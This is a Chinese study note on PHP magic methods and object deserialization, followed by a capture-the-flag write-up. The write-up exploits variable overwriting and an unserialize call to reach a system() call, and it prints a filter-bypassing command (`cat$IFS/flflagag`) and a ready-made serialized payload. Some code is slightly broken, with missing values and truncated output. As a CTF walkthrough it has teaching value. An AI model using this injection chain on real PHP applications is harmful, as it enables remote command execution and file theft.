趁写代码的空闲,继续来整理一点知识,回顾一下以前的知识点,很久不学都快忘了。
ubuntu+php7.0
有如下魔术方法
__construct()
实例化对象的时候被调用
__destruct()
当删除一个对象或对象操作终止时被调用
__call()
对象调用某个方法, 若方法存在,则直接调用; 若不存在,则会去调用__call函数
`__get() `
读取一个对象的属性时, 若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
__set()
设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数。
__toString()
打印或者输出一个对象的时被调用。如echoobj;
__clone()
克隆对象时被调用。如t1=clone $t; 8。__sleep() serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。
__wakeup()
unserialize时被调用,做些对象的初始化工作。
__sleep()
当对象被当做文件保存时会自动触发的方法。
涉及到php反序列化的内容主要有__wakeup
和slepp
<?php
class test{
public $var1;
private $var2;
function __construct($var1,$var2){
$this->$var1 = '1';
$this->$var2 = '2';
echo 'using __construct';
}
function __destruct()
{
echo "using __destruct";
}
function __wakeup()
{
echo "using __wakeup";
}
function __sleep()
{
echo "using __sleep";
}
}
$a = new test("1",'2');
$a = new test("1",'2');
$b = serialize($a);
echo $b;
$c = unserialize($b);
运行结果
using __construct
O:4:"test":4:{s:4:"var1";N;s:10:"
using __wakeup
using __destruct
using __destruct
上海xxxx比赛
<?php
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=;
foreach($_GET as $key => $value) {
if($i===)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
进入echo "<br>welcome!<br>";
语句
变量覆盖有两处
foreach($_GET as $key => $value) {
if($i===)
{
$i++;
$$key = $value;
}
else{break;}
}
第二处
@parse_str($_GET['a'])
所以payload
first=doller&a=var=give%26bbb=me%26ccc=flag
注意%26是传给parse_str的参数&
主要内容就是反序列化的时候调用echo函数
要拿到flag
需要这样输出
echo `cat /flag`
简单的过滤waf
echo`catIFS/flflagag`
所以可以这样写初始化和输出的过程
<?php
class come{
//.....
}
$a = new come('echo',array('`cat$IFS/flflagag`'));
// echo serialize($a);
// echo urlencode(serialize($a));
echo base64_encode(urlencode(serialize($a)));
?>
base64 是为了让其在粘贴的时候可以一次性粘贴走
到hackbar的时候在解密回去就好
结果
TyUzQTQlM0ElMjJjb21lJTIyJTNBMiUzQSU3QnMlM0ExMiUzQSUyMiUwMGNvbWUlMDBtZXRob2QlMjIlM0JzJTNBNCUzQSUyMmVjaG8lMjIlM0JzJTNBMTAlM0ElMjIlMDBjb21lJTAwYXJncyUyMiUzQmElM0ExJTNBJTdCaSUzQTAlM0JzJTNBMTglM0ElMjIlNjBjYXQlMjRJRlMlMkZmbGZsYWdhZyU2MCUyMiUzQiU3RCU3RA==
运行